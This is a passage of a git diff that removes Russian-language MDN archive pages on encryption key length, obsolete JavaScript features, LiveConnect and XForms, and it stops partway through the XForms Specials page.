that it hasn't been tampered with since being signed. "<a href="/en-US/docs/Digital_Signatures">Digital Signatures</a>" describes how this confirmation process works.</p> - -<h3 id="Key_Length_and_Encryption_Strength" name="Key_Length_and_Encryption_Strength"><a id="Длина ключа и Прочность шифрования" name="Длина ключа и Прочность шифрования"></a>Длина ключа и Прочность шифрования</h3> - -<p>Breaking an encryption algorithm is basically finding the key to the access the encrypted data in plain text. For symmetric algorithms, breaking the algorithm usually means trying to determine the key used to encrypt the text. For a public key algorithm, breaking the algorithm usually means acquiring the shared secret information between two recipients.</p> - -<p>One method of breaking a symmetric algorithm is to simply try every key within the full algorithm until the right key is found. For public key algorithms, since half of the key pair is publicly known, the other half (private key) can be derived using published, though complex, mathematical calculations. Manually finding the key to break an algorithm is called a brute force attack.</p> - -<p>Breaking an algorithm introduces the risk of intercepting, or even impersonating and fraudulently verifying, private information.</p> - -<p>The key strength of an algorithm is determined by finding the fastest method to break the algorithm and comparing it to a brute force attack.</p> - -<p>For symmetric keys, encryption strength is often described in terms of the size or length of the keys used to perform the encryption: in general, longer keys provide stronger encryption. Key length is measured in bits. For example, 128-bit keys for use with the RC4 symmetric-key cipher supported by SSL provide significantly better cryptographic protection than 40-bit keys for use with the same cipher. Roughly speaking, 128-bit RC4 encryption is 3 x 10<sup>26</sup> times stronger than 40-bit RC4 encryption. (For more information about RC4 and other ciphers used with SSL, see "<a href="/en/Introduction_to_SSL" title="en/Introduction_to_SSL">Introduction to SSL</a>.") An encryption key is considered full strength if the best known attack to break the key is no faster than a brute force attempt to test every key possibility.</p> - -<p>Different ciphers may require different key lengths to achieve the same level of encryption strength. The RSA cipher used for public-key encryption, for example, can use only a subset of all possible values for a key of a given length, due to the nature of the mathematical problem on which it is based. Other ciphers, such as those used for symmetric key encryption, can use all possible values for a key of a given length, rather than a subset of those values.</p> - -<p>Because it is relatively trivial to break an RSA key, an RSA public-key encryption cipher must have a very long key, at least 1024 bits, to be considered cryptographically strong. On the other hand, symmetric-key ciphers can achieve approximately the same level of strength with an 80-bit key for most algorithms.</p> - -<p> </p> - -<div class="originaldocinfo"> -<h3 id="Original_Document_Information" name="Original_Document_Information">Информация про оригинал</h3> - -<ul> - <li>Автор(ы): Ella Deon Lackey</li> - <li>Последнее обновление: 2012</li> - <li>Авторские права: © 2012 Red Hat, Inc.</li> - <li>Ссылка: <a href="https://access.redhat.com/documentation/en-US/Red_Hat_Certificate_System_Common_Criteria_Certification/8.1/html/Deploy_and_Install_Guide/index.html">Red Hat Certificate System Common Criteria Certification 8.1: Deployment, Planning, and Installation</a></li> -</ul> -</div> - -<p> </p> - -<p> </p> diff --git a/files/ru/archive/security/index.html b/files/ru/archive/security/index.html deleted file mode 100644 index 82879db250..0000000000 --- a/files/ru/archive/security/index.html +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: Security -slug: Archive/Security -tags: - - NeedsTranslation - - TopicStub -translation_of: Archive/Security ---- -<p><strong><span class="seoSummary">Relying on these obsolete security articles is highly discouraged. Doing so may put your systems at risk.</span></strong></p> - -<p></p><div class="row topicpage-table"> - <div class="section"><dl><dl><dt class="landingPageList"><a href="/en-US/docs/Archive/Security/Digital_Signatures">Digital Signatures</a></dt><dd class="landingPageList">Encryption and decryption address the problem of eavesdropping, one of the three Internet security issues mentioned at the beginning of this document. But encryption and decryption, by themselves, do not address another problem: tampering.</dd><dt class="landingPageList"><a href="/en-US/docs/Archive/Security/Encryption_and_Decryption">Encryption and Decryption</a></dt><dd class="landingPageList">Encryption is the process of transforming information so it is unintelligible to anyone but the intended recipient. Decryption is the process of transforming encrypted information so that it is intelligible again.</dd><dt class="landingPageList"><a href="/en-US/docs/Archive/Security/Introduction_to_Public-Key_Cryptography">Introduction to Public-Key Cryptography</a></dt><dd class="landingPageList">Public-key cryptography and related standards and techniques underlie the security features of many products such as signed and encrypted email, single sign-on, and Secure Sockets Layer (SSL) communications. This document introduces the basic concepts of public-key cryptography. For an overview of SSL, see "<a href="/en/Introduction_to_SSL" title="en/Introduction_to_SSL">Introduction to SSL</a>." For an overview of encryption and decryption, see "<a href="/en-US/docs/Encryption_and_Decryption">Encryption and Decryption</a>." Information on digital signatures is available from "<a href="/en-US/docs/Digital_Signatures">Digital Signatures</a>."</dd></dl></dl></div> - <div class="section"><dl><dt class="landingPageList"><a href="/en-US/docs/Archive/Security/Introduction_to_SSL">Introduction to SSL</a></dt><dd class="landingPageList">This document introduces the Secure Sockets Layer (SSL) protocol. SSL has been universally accepted on the World Wide Web for authenticated and encrypted communication between clients and servers.</dd><dt class="landingPageList"><a href="/en-US/docs/Archive/Security/NSPR_engineering_guide">NSPR Release Engineering Guide</a></dt><dd class="landingPageList">This paper is for engineers performing formal release for the NetScape Portable Runtime (NSPR) across all platforms.</dd><dt class="landingPageList"><a href="/en-US/docs/Archive/Security/SSL_and_TLS">SSL and TLS</a></dt><dd class="landingPageList">The Secure Sockets Layer (SSL) and Transport Layer Security (TLS) protocols are universally accepted standards for authenticated and encrypted communication between clients and servers. Both client and server authentication occur over SSL/TLS.</dd></dl></div> - </div><p></p> diff --git a/files/ru/archive/themes/index.html b/files/ru/archive/themes/index.html deleted file mode 100644 index a440be2e7a..0000000000 --- a/files/ru/archive/themes/index.html +++ /dev/null @@ -1,11 +0,0 @@ ---- -title: Themes -slug: Archive/Themes -tags: - - NeedsTranslation - - TopicStub -translation_of: Archive/Themes ---- -<p>Archived theme documentation.</p> - -<p>{{Listsubpages("/en-US/docs/Archive/Themes", 10)}}</p> diff --git a/files/ru/archive/web/index.html b/files/ru/archive/web/index.html deleted file mode 100644 index 56e92d00f6..0000000000 --- a/files/ru/archive/web/index.html +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: Archived open Web documentation -slug: Archive/Web -tags: - - Archived - - NeedsTranslation - - TopicStub - - Web -translation_of: Archive/Web ---- -<p>The documentation listed below is archived, obsolete material about open Web topics.</p> - -<p>{{SubpagesWithSummaries}}</p> diff --git a/files/ru/archive/web/javascript/ecmascript_7_support_in_mozilla/index.html b/files/ru/archive/web/javascript/ecmascript_7_support_in_mozilla/index.html deleted file mode 100644 index c2c5a15db9..0000000000 --- a/files/ru/archive/web/javascript/ecmascript_7_support_in_mozilla/index.html +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: Поддержка ECMAScript 7 в Mozilla -slug: Archive/Web/JavaScript/ECMAScript_7_support_in_Mozilla -tags: - - ECMAScript7 - - JavaScript -translation_of: Archive/Web/JavaScript/ECMAScript_Next_support_in_Mozilla ---- -<p>{{jsSidebar("New_in_JS")}}</p> - -<p>ECMAScript Next является следующей ступенью развития стандарта ECMA-262. Новые возможности языка уже включались в черновик <a href="/ru/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_6_support_in_Mozilla">6-й редакции</a>, в которую больше не добавляются новые возможности и работа над ней близка к завершению. Вы можете посмотреть список предложений в репозитории <a href="https://github.com/tc39/ecma262">tc39/ecma262</a> на GitHub.<br> - Текущие недочёты в процессе спецификации планируется разрешить в несколько <em>этапов</em> и <em>чемпионатов</em>. Также, предлагается соблюдать цикл публикации стандарта в 2 года. Для просмотра информации о ходе процесса спецификации после выпуска ES2015 смотрите <a href="http://slides.com/rafaelweinstein/tc39-process">презентацию Rafael Weinstein</a>.</p> - -<p>Для получения обратной связи по стандартам ECMAScript используется канал <a href="https://mail.mozilla.org/listinfo/es-discuss">es-discuss</a>.</p> - -<h2 id="Экспериментальные_возможности">Экспериментальные возможности</h2> - -<p>Следующие возможности уже реализованы, но доступны только в <a href="http://nightly.mozilla.org/">ночных сборках Firefox</a>:</p> - -<h3 id="Расширения_объекта_Array">Расширения объекта <code>Array</code></h3> - -<ul> - <li><a href="http://wiki.ecmascript.org/doku.php?id=strawman:data_parallelism">Параллельный JavaScript</a> (<code>scatterPar, scanPar, reducePar, mapPar, filterPar</code>)</li> -</ul> - -<h3 id="Новые_объекты_TypedObject">Новые объекты TypedObject</h3> - -<ul> - <li><a href="https://github.com/dslomov-chromium/typed-objects-es7">Черновик типизированных объектов</a></li> -</ul> - -<h3 id="Новые_объекты_SIMD">Новые объекты SIMD</h3> - -<ul> - <li><a href="https://github.com/johnmccutchan/ecmascript_simd">Черновик спецификации SIMD и полифилл</a></li> -</ul> - -<h2 id="Стабилизируемые_возможности">Стабилизируемые возможности</h2> - -<p>Следующие возможности доступны в ночных сборках Firefox, но процесс их спецификации и реализации не завершён. Здесь также перечислены возможности, предполагавшиеся к включению в черновик ECMAScript 2015 и переместившиеся в ECMAScript 2016.</p> - -<h3 id="Выражения">Выражения</h3> - -<ul> - <li><a href="/ru/docs/Web/JavaScript/Reference/Operators/Array_comprehensions">Включение массивов</a> (<a href="/en-US/Firefox/Releases/30">Firefox 30</a>)</li> - <li><a href="/ru/docs/Web/JavaScript/Reference/Operators/Generator_comprehensions">Включение генераторов</a> (<a href="/en-US/Firefox/Releases/30">Firefox 30</a>)</li> -</ul> - -<h2 id="Не_реализованные_возможности">Не реализованные возможности</h2> - -<p>Следующие возможности не реализованы, но планируются в ECMAScript 2016.</p> - -<ul> - <li><code>Object.observe()</code> ({{bug(800355)}})</li> -</ul> - -<h2 id="Смотрите_также">Смотрите также</h2> - -<ul> - <li><a href="http://www.ecmascript.org/">Сайт ECMAScript web site</a></li> - <li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1021376">Система отслеживания ошибок Mozilla ES2016</a></li> - <li><a href="http://kangax.github.io/compat-table/es7/" title="http://kangax.github.io/es5-compat-table">Поддержка ECMAScript 2016 в различных браузерах</a></li> -</ul> diff --git a/files/ru/archive/web/javascript/index.html b/files/ru/archive/web/javascript/index.html deleted file mode 100644 index 4687b7bf23..0000000000 --- a/files/ru/archive/web/javascript/index.html +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: JavaScript -slug: Archive/Web/JavaScript -translation_of: Archive/Web/JavaScript ---- -<div class="hidden">{{JSRef}}</div> - -<p>{{Obsolete_Header}}</p> - -<p class="summary">Obsolete JavaScript features and unmaintained docs</p> - -<p>{{SubpagesWithSummaries}}</p> diff --git a/files/ru/archive/web/javascript/reflect.enumerate/index.html b/files/ru/archive/web/javascript/reflect.enumerate/index.html deleted file mode 100644 index bf79747402..0000000000 --- a/files/ru/archive/web/javascript/reflect.enumerate/index.html +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: Reflect.enumerate() -slug: Archive/Web/JavaScript/Reflect.enumerate -translation_of: Archive/Web/JavaScript/Reflect.enumerate ---- -<div>{{JSRef}} {{obsolete_header}}</div> - -<p>Функция <code><strong>Reflect</strong></code><strong><code>.enumerate()</code></strong> возвращает итератор который может использоваться для перечисления собственных и наследованных свойств объекта, но был удален в ECMAScript 2016 и отмечен как устаревший.</p> - -<h2 id="Syntax">Syntax</h2> - -<pre class="syntaxbox">Reflect.enumerate(target) -</pre> - -<h3 id="Parameters">Parameters</h3> - -<dl> - <dt><code>target</code></dt> - <dd>The target object on which to get the property.</dd> -</dl> - -<h3 id="Return_value">Return value</h3> - -<p>An iterator with the enumerable own and inherited properties of the target object.</p> - -<h3 id="Exceptions">Exceptions</h3> - -<p>A {{jsxref("TypeError")}}, if <code>target</code> is not an {{jsxref("Object")}}.</p> - -<h2 id="Description">Description</h2> - -<p>The <code>Reflect.enumerate</code> method returns an iterator with the enumerable own and inherited properties of the target object.</p> - -<h2 id="Examples">Examples</h2> - -<h3 id="Using_Reflect.enumerate">Using <code>Reflect.enumerate()</code></h3> - -<pre class="brush: js">var obj = { x: 1, y: 2 }; - -for (var name of Reflect.enumerate(obj)) { - console.log(name); -} -// logs "x" and "y" -</pre> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('ES2015', '#sec-reflect.enumerate', 'Reflect.enumerate')}}</td> - <td>{{Spec2('ES2015')}}</td> - <td>Initial definition. Removed in ECMAScript 2016.</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - - - -<p>{{Compat("javascript.builtins.Reflect.enumerate")}}</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li>{{jsxref("Reflect")}}</li> - <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a></li> -</ul> diff --git a/files/ru/archive/web/javascript/функция_наследования_генератора/index.html b/files/ru/archive/web/javascript/функция_наследования_генератора/index.html deleted file mode 100644 index 58c18bbf9b..0000000000 --- a/files/ru/archive/web/javascript/функция_наследования_генератора/index.html +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: Функция наследования генератора -slug: Archive/Web/JavaScript/Функция_наследования_генератора -tags: - - JavaScript - - Legacy Generator - - Reference - - Наследование - - генератор -translation_of: Archive/Web/JavaScript/Legacy_generator_function ---- -<div class="warning">Функция наследования генератора была особенностью в SpiderMonkey, которая была удалена в Firefox 58+. Для использования в будущем, принимайте во внимание {{jsxref("Operators/function*", "function* expression")}}.</div> - -<div>{{jsSidebar("Operators")}}</div> - -<p><code><font face="Open Sans, arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Ключевое слово </span></font><strong>function</strong></code> может быть использовано для определения функции наследования генератора. Чтобы сделать функцию наследования генератора, текст функции должен содержать хотя бы одно выражение {{jsxref("Operators/yield", "yield")}} .</p> - -<h2 id="Синтаксис">Синтаксис</h2> - -<pre class="syntaxbox">function [<em>name</em>]([<em>param1</em>[, <em>param2[</em>, ..., <em>paramN</em>]]]) { - <em>statements</em> -}</pre> - -<h3 id="Параметры">Параметры</h3> - -<dl> - <dt><code>name</code></dt> - <dd>Имя функции. Может быть пропущено, в таком случае функция будет безымянной. Имя является локальным для функции.</dd> - <dt><code>paramN</code></dt> - <dd>Имя аргумента для входа в функцию. Функция может иметь до 255 аргументов.</dd> - <dt><code>statements</code></dt> - <dd>Операторы, которые составляют тело функции. Здесь должен быть хотя бы один оператор {{jsxref("Operators/yield", "yield")}}.</dd> -</dl> - -<h2 id="Описание">Описание</h2> - -<p>Описание использования функции доступно на странице <a href="/en-US/docs/JavaScript/Guide/Iterators_and_Generators">Итераторы и Генераторы</a>.</p> - -<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> - -<p>Supported nowhere.</p> - -<h2 id="Смотрите_также">Смотрите также</h2> - -<ul> - <li>{{jsxref("Generator")}}</li> - <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/Legacy_generator_function">The legacy generator function</a></li> - <li><a href="/en-US/docs/Web/JavaScript/Guide/The_legacy_Iterator_protocol">The legacy Iterator protocol</a></li> - <li>{{jsxref("Operators/yield", "yield")}}</li> - <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope">Functions and function scope</a></li> - <li>{{jsxref("Statements/function", "function")}}</li> - <li>{{jsxref("Operators/function", "function expression")}}</li> - <li>{{jsxref("Function")}}</li> - <li>{{jsxref("Statements/function*", "function*")}}</li> - <li>{{jsxref("Operators/function*", "function* expression")}}</li> - <li>{{jsxref("GeneratorFunction")}}</li> - <li><a href="/en-US/docs/Web/JavaScript/Guide/The_Iterator_protocol">The Iterator protocol</a></li> -</ul> diff --git a/files/ru/archive/web/liveconnect/index.html b/files/ru/archive/web/liveconnect/index.html deleted file mode 100644 index ad74a48f22..0000000000 --- a/files/ru/archive/web/liveconnect/index.html +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: LiveConnect -slug: Archive/Web/LiveConnect -tags: - - Java - - LiveConnect - - NeedsTranslation - - TopicStub -translation_of: Archive/Web/LiveConnect ---- -<div> -<p><strong>LiveConnect</strong> provides JavaScript with the ability to call methods of Java classes and vice-versa using the existing Java infrastructure.</p> - -<p>Older versions of Gecko included special support for the Java<->JavaScript bridge (such as the <a href="/en-US/docs/LiveConnect_Reference/java" title="/en-US/docs/LiveConnect_Reference/java"><code>java</code></a> and <a href="/en-US/docs/LiveConnect_Reference/Packages" title="/en-US/docs/LiveConnect_Reference/Packages"><code>Packages</code></a> global objects), but as of <a href="/en-US/docs/Mozilla/Firefox/Releases/16" title="/en-US/docs/Mozilla/Firefox/Releases/16">Mozilla 16</a> (Firefox 16 / Thunderbird 16 / SeaMonkey 2.13) LiveConnect functionality is provided solely by the Oracle's Java plugin.</p> -</div> - -<table class="topicpage-table"> - <tbody> - <tr> - <td> - <h4 id="Documentation" name="Documentation">Documentation</h4> - - <dl> - <dt><a href="https://jdk6.java.net/plugin2/liveconnect/" title="https://jdk6.java.net/plugin2/liveconnect/">Java plugin - LiveConnect documentation</a></dt> - <dd>This is likely the most up-to-date documentation of LiveConnect.</dd> - <dt>Removal of <code>java</code> and <code>Packages</code> global objects in Mozilla 16</dt> - <dd>See <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=748343" title='FIXED: remove support for "java" DOM object'>bug 748343</a> for the rationale and workarounds. You can still embed Java applets and access their API from JavaScript.</dd> - <dt><a href="/en-US/docs/JavaScript/Guide/LiveConnect_Overview" title="en/Core_JavaScript_1.5_Guide/LiveConnect_Overview">LiveConnect Overview</a></dt> - <dd><small>An overview for Liveconnect.</small></dd> - </dl> - - <dl> - <dt><a href="/en-US/docs/LiveConnect/LiveConnect_Reference" title="/en-US/docs/LiveConnect_Reference">LiveConnect reference</a></dt> - <dd><small>The Java classes used for LiveConnect, along with their constructors and methods.</small></dd> - <dt><a href="/en-US/docs/Java_in_Firefox_Extensions" title="/en-US/docs/Java_in_Firefox_Extensions"><small>Java in Firefox extensions</small></a></dt> - </dl> - </td> - <td> - <h4 id="Community" name="Community">Community</h4> - - <ul> - <li>View mozilla.dev.tech.java forums...</li> - </ul> - - <p></p><ul> - <li><a href="https://lists.mozilla.org/listinfo/dev-tech-java">Mailing list</a></li> - - - <li><a href="http://groups.google.com/group/mozilla.dev.tech.java">Newsgroup</a></li> - <li><a href="http://groups.google.com/group/mozilla.dev.tech.java/feeds">RSS feed</a></li> -</ul><p></p> - - <h4 id="Related_Topics" name="Related_Topics">Related Topics</h4> - - <dl> - <dd><a href="/en/JavaScript" title="en/JavaScript">JavaScript</a>, <a href="/en/Plugins" title="en/Plugins">Plugins</a></dd> - </dl> - </td> - </tr> - </tbody> -</table> - -<h2 id="Older_notes">Older notes</h2> - -<p>(Please update or remove as needed.)</p> - -<p class="note">While the bloated LiveConnect code in the Mozilla source was removed in version 1.9.2 of the platform (see bug <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=442399">442399</a>), its former API has been <a class="link-https" href="http://www.oracle.com/technetwork/java/javase/plugin2-142482.html#LIVECONNECT">restored</a> (see also the <a class="link-https" href="http://jdk6.java.net/plugin2/liveconnect/">specification</a> and this <a class="external" href="http://forums.java.net/jive/thread.jspa?threadID=45933&tstart=0">thread</a>) (building on <a href="/en/Plugins" title="en/Plugins">NPAPI</a>?), and as of Java 6 update 12, extensions as well as applets can make use of this restored API. The reimplementation also restores the ability to use try-catch exceptions within JavaScript, and is free of the increasing number of other bugs introduced by the decline of the original LiveConnect (e.g., java.lang.String and arrays not working properly).</p> - -<p>LiveConnect use by applets is enabled via the use of the "MAYSCRIPT" attribute in applet tags on an HTML page, following which the applet may refer to classes in the netscape.javascript package to access Javascript objects, and scripts may directly call applet methods (using the syntax document.applets.name.methodName()). Standard Java objects are also available for creation and manipulation by Javascript code (e.g. by writing code like "new java.lang.String('javascript string')" for classes in the java.* package hierarchy, or using a new "Packages" object for classes outside this hierarchy).</p> - -<h3 id="Old_LiveConnect_documents_broken_links">Old LiveConnect documents, broken links:</h3> - -<dl> - <dt><a class="external" href="http://www.mozilla.org/js/liveconnect/lc3_method_overloading.html">Java Method Overloading and LiveConnect 3</a></dt> - <dd><small>The technique that LiveConnect uses to invoke overloaded Java methods from JavaScript.</small></dd> -</dl> - -<dl> - <dt><a class="external" href="http://www.mozilla.org/js/liveconnect/liveconnect-exceptions.html">LiveConnect Exceptions</a></dt> - <dd><small>How do Java and JavaScript catch exceptions generated by the other party?</small></dd> -</dl> - -<dl> - <dt><a class="external" href="http://www.mozilla.org/quality/browser/front-end/testcases/oji/liveconnecttest.html">Liveconnect Testcases</a></dt> - <dd><small>Determine that applets within different html tags work properly.</small></dd> -</dl> - -<p> </p> - -<p>NOTE:</p> - -<h3 id="LiveConnect_Blocked_under_Some_Conditions"><a id="lc-block" name="lc-block">LiveConnect Blocked under Some Conditions</a></h3> - -<p>LiveConnect calls from JavaScript to Java API are blocked when the Java Control Panel security slider is set to <code>Very High</code> level, or when the slider is at the default <code>High</code> level and the JRE has either expired or is below the <a href="http://www.oracle.com/technetwork/java/javase/7u25-relnotes-1955741.html#securitybaseline-1.7.0_25">security baseline</a>.</p> diff --git a/files/ru/archive/web/xforms/index.html b/files/ru/archive/web/xforms/index.html deleted file mode 100644 index 3216dd460b..0000000000 --- a/files/ru/archive/web/xforms/index.html +++ /dev/null @@ -1,105 +0,0 @@ ---- -title: XForms -slug: Archive/Web/XForms -tags: - - NeedsTranslation - - TopicStub - - XForms -translation_of: Archive/Web/XForms ---- -<p>{{obsolete_header("gecko19")}}</p> - -<div class="note"> -<p><strong>Note: </strong>Support for XForms was removed from Firefox as of Firefox 19. See the <a href="/en-US/docs/HTML/Forms" title="/en-US/docs/HTML/Forms">HTML Forms Guide</a> for approaches to creating forms in HTML5.</p> -</div> - -<div class="callout-box"><strong><a class="external" href="http://xformsinstitute.com/essentials/browse/">XForms Essentials</a></strong><br> -An online book giving you a guided tour of XForms.</div> - -<div><strong>XForms</strong> were envisioned as the future of online forms as envisioned by the W3C. Drawing on other W3C standards like <a href="/en/XML_Schema" title="en/XML_Schema">XML Schema</a>, <a href="/en/XPath" title="en/XPath">XPath</a>, and <a href="/en/XML_Events" title="en/XML_Events">XML Events</a>, XForms tries to address some of the limitations with the current <a href="/en/HTML" title="en/HTML">HTML</a> forms model. Other strengths that XForms brings to the table is the separation of data from presentation, strong data typing, the ability to submit <a href="/en/XML" title="en/XML">XML</a> data to servers instead of name/value pairs, and a descriptive way to author forms so that they can be displayed by a wide variety of devices. XForms is a <a class="external" href="http://www.w3.org/MarkUp/Forms/">W3C specification</a>.</div> - -<div class="callout-box"><strong><a class="external" href="http://en.wikibooks.org/wiki/XForms">XForms Tutorial and Cookbook</a></strong><br> -XForms in Wikibook Format - Over 50 examples tested with Firefox.</div> - -<div> -<p>XForms support can be added to Firefox and SeaMonkey by installing the Mozilla XForms extension. This extension, while supporting a significant subset of the XForms 1.0 and 1.1 candidate recommendations, <strong>is not actively maintained any more since about 2010</strong>. The last official release has been done for Firefox 3.6 and is available for download on <a class="link-https" href="https://addons.mozilla.org/de/firefox/addon/mozilla-xforms/" title="https://addons.mozilla.org/de/firefox/addon/mozilla-xforms/">addons.mozilla.org</a>.<br> - For more details about the future of the Mozilla XForms extension see this <a class="external" href="http://philipp.wagner.name/blog/2011/07/the-future-of-mozilla-xforms/" title="http://philipp.wagner.name/blog/2011/07/the-future-of-mozilla-xforms/">blog post</a>.</p> -</div> - -<table class="topicpage-table"> - <tbody> - <tr> - <td> - <h4 id="Documentation" name="Documentation"><a href="/Special:Tags?tag=XForms&language=en" title="Special:Tags?tag=XForms&language=en">Документация</a></h4> - - <dl> - <dt><a href="/en/XForms/Implementation_Status" title="en/XForms/Implementation_Status">Статус реализации</a></dt> - <dd><small>Статус реализации расширения Mozilla XForms</small></dd> - <dt><a class="internal" href="/en/XForms/Building_Mozilla_XForms" title="en/XForms/Building Mozilla XForms">Построение</a></dt> - <dd><small>Get started with building your own XForms extensions from source.</small></dd> - <dt><a href="/en/XForms/Form_Troubleshooting" title="en/XForms/Form_Troubleshooting">Советы по устранению распространённых проблем XForms</a></dt> - <dd><small>Небольшой сборник советов по устранению распространённых проблем с XForms forms.</small></dd> - </dl> - - <dl> - <dt><a href="/en/XForms/Mozilla_XForms_Specials" title="en/XForms/Mozilla_XForms_Specials">Mozilla XForms specials</a></dt> - <dd><small>Explains where, and how, Mozilla XForms deviates or extends the XForms 1.0 specification.</small></dd> - </dl> - - <dl> - <dt><a href="/en/XForms/Custom_Controls" title="en/XForms/Custom_Controls">Пользовательские элементы управления XForms</a></dt> - <dd><small>Custom controls lets the form author "skin" each XForms control through XBL, and create f.x. an SVG <code>input</code> control.</small></dd> - </dl> - - <dl> - <dt><a href="/en/XForms/User_preferences" title="en/XForms/User_preferences">XForms user preferences</a></dt> - <dd><small>A description of the <code>about:config</code> variables that XForms uses.</small></dd> - </dl> - - <dl> - <dt><a href="/en/XForms/API_Reference" title="en/XForms/API_Reference">XForms API reference</a></dt> - <dd><small>XForms interfaces documentation.</small></dd> - </dl> - - <dl> - <dt><a href="/en/XForms/User_Interface_Elements" title="en/XForms/User_Interface_Elements">XForms UI Elements reference</a></dt> - <dd><small>XForms user interface elements documentation.</small></dd> - </dl> - - <p><span class="alllinks"><a href="https://developer.mozilla.org/en-US/docs/tag/XForms" title="Special:Tags?tag=XForms&language=en">View All...</a></span></p> - </td> - <td> - <h4 id="Community" name="Community">Сообщество</h4> - - <ul> - <li>Просмотреть форумы Mozilla...</li> - </ul> - - <p>{{ DiscussionList("dev-tech-xforms", "mozilla.dev.tech.xforms") }}</p> - - <ul> - <li><a class="link-irc" href="irc://irc.mozilla.org/xforms">Канал #xforms на irc.mozilla.org</a></li> - <li><a class="external" href="http://lists.w3.org/Archives/Public/www-forms/">Список рассылки W3C Forms</a></li> - <li><a href="/en/XForms/Community" title="en/XForms/Community">Другие ссылки сообщества...</a></li> - </ul> - - <h4 id="Tools" name="Tools">Tools</h4> - - <ul> - <li><a class="external" href="http://xformsinstitute.com/validator/">XForms validator</a></li> - <li><a class="external" href="http://beaufour.dk/index.php?sec=misc&pagename=xforms">XForms Buddy</a></li> - </ul> - - <p><span class="alllinks"><a href="/Special:Tags?tag=XForms:Tools&language=en" title="Special:Tags?tag=XForms:Tools&language=en">Просмотреть всё...</a></span></p> - - <h4 id="Related_Topics" name="Related_Topics">Related Topics</h4> - - <dl> - <dd><a href="/en/Extensions" title="en/Extensions">Extensions</a>, <a href="/en/HTML" title="en/HTML">HTML</a>, <a href="/en/XHTML" title="en/XHTML">XHTML</a>, <a href="/en/XML" title="en/XML">XML</a>, <a href="/en/XPath" title="en/XPath">XPath</a></dd> - </dl> - </td> - </tr> - </tbody> -</table> - -<p>{{ languages( { "fr": "fr/XForms", "it": "it/XForms", "ja": "ja/XForms", "pl": "pl/XForms", "es": "es/XForms" } ) }}</p> diff --git a/files/ru/archive/web/xforms/mozilla_xforms_specials/index.html b/files/ru/archive/web/xforms/mozilla_xforms_specials/index.html deleted file mode 100644 index eaae0d01ce..0000000000 --- a/files/ru/archive/web/xforms/mozilla_xforms_specials/index.html +++ /dev/null @@ -1,137 +0,0 @@ ---- -title: Mozilla XForms Specials -slug: Archive/Web/XForms/Mozilla_XForms_Specials -translation_of: Archive/Web/XForms/Mozilla_XForms_Specials ---- -<p dir="rtl"> </p> - -<h3 id="Introduction" name="Introduction">Introduction</h3> - -<p>This article gives an overview of where the <em>Mozilla XForms Extension</em> deviates from the official <em>XForms 1.0 Specification</em> . This covers both limitations in the extension, and custom extensions.</p> - -<h3 id="Limitations" name="Limitations">Limitations</h3> - -<h4 id="Repeat_Using_Attributes" name="Repeat_Using_Attributes">Repeat Using Attributes</h4> - -<p>The specifications mentions <a class="external" href="http://www.w3.org/TR/xforms/slice9.html#ui.repeat.via.attrs">"Creating Repeating Structures Via Attributes"</a>, this is <strong>partially</strong> supported.</p> - -<p>(limitation tracked in {{ Bug(280368) }})</p> - -<h4 id="Mixing_Repeat_and_table_or_ul" name="Mixing_Repeat_and_table_or_ul">Mixing Repeat and <code>table</code> or <code>ul</code></h4> - -<p>It is not possible to mix repeats with either <code>table</code> or <code>ul</code>. That means that it is <strong>not</strong> possible to do:</p> - -<div class="warning"> -<pre><table> - <xf:repeat ...> - <tr> ... </tr> - </xf:repeat> -</table> -</pre> -</div> - -<p>or</p> - -<div class="warning"> -<pre><ul> - <xf:repeat ...> - <li> ... </li> - </xf:repeat> -</ul> -</pre> -</div> - -<p><a class="external" href="http://www.w3.org/TR/2006/REC-xforms-20060314/slice9.html#ui.repeat.via.attrs">Section 9.3.2</a> states that mixing with <code>table</code> will probably never work. Mixing with <code>ul</code> might suffer from the same limitation.</p> - -<h4 id="Pseudo_class_support" name="Pseudo_class_support">Pseudo-class support</h4> - -<p>We currently support all the CSS <a href="/en/CSS/Pseudo-classes" title="Pseudo-classes">pseudo-classes</a> in XForms (<code>:enabled, :disabled</code>, etc. ), <strong>except</strong> for <code>:read-only</code> and <code>:read-write</code>, because of non-specified behaviour of these for (X)<a href="/en/HTML" title="en/HTML">HTML</a>. Instead you have to use <code>:-moz-read-only</code> and <code>:-moz-read-write</code> for now.</p> - -<p>(limitation tracked in {{ Bug(313111) }})</p> - -<h4 id="Pseudo_element_support" name="Pseudo_element_support">Pseudo element support</h4> - -<p>There is <strong>no</strong> support for the pseudo elements (<code>::value, ::repeat-item, and ::repeat-index</code> ). Instead you will have to use the following normal classes instead:</p> - -<ul> - <li><code>xf-value</code></li> - <li><code>xf-repeat-item</code></li> - <li><code>xf-repeat-index</code></li> -</ul> - -<p>For example, to target the value element of an <code>input</code> control use:</p> - -<pre>@namespace xf url("http://www.w3.org/2002/xforms"); -xf|input .xf-value { - ... -} -</pre> - -<p>The pseudo elements are defined in the <em><a href="/en/CSS" title="en/CSS">CSS</a>3 Basic User Interface specification</em> .</p> - -<p>(limitation tracked in {{ Bug(271724) }})</p> - -<h4 id="Repeat_Using_Attributes" name="Repeat_Using_Attributes">Optional parameters in XPath functions</h4> - -<p>Optional parameters in XPath functions are not supported, you will have to specify all parameters when calling a function. This affects functions like <code>hmac()</code> or <code>digest()</code>.</p> - -<p>Instead of using</p> - -<div class="warning"> 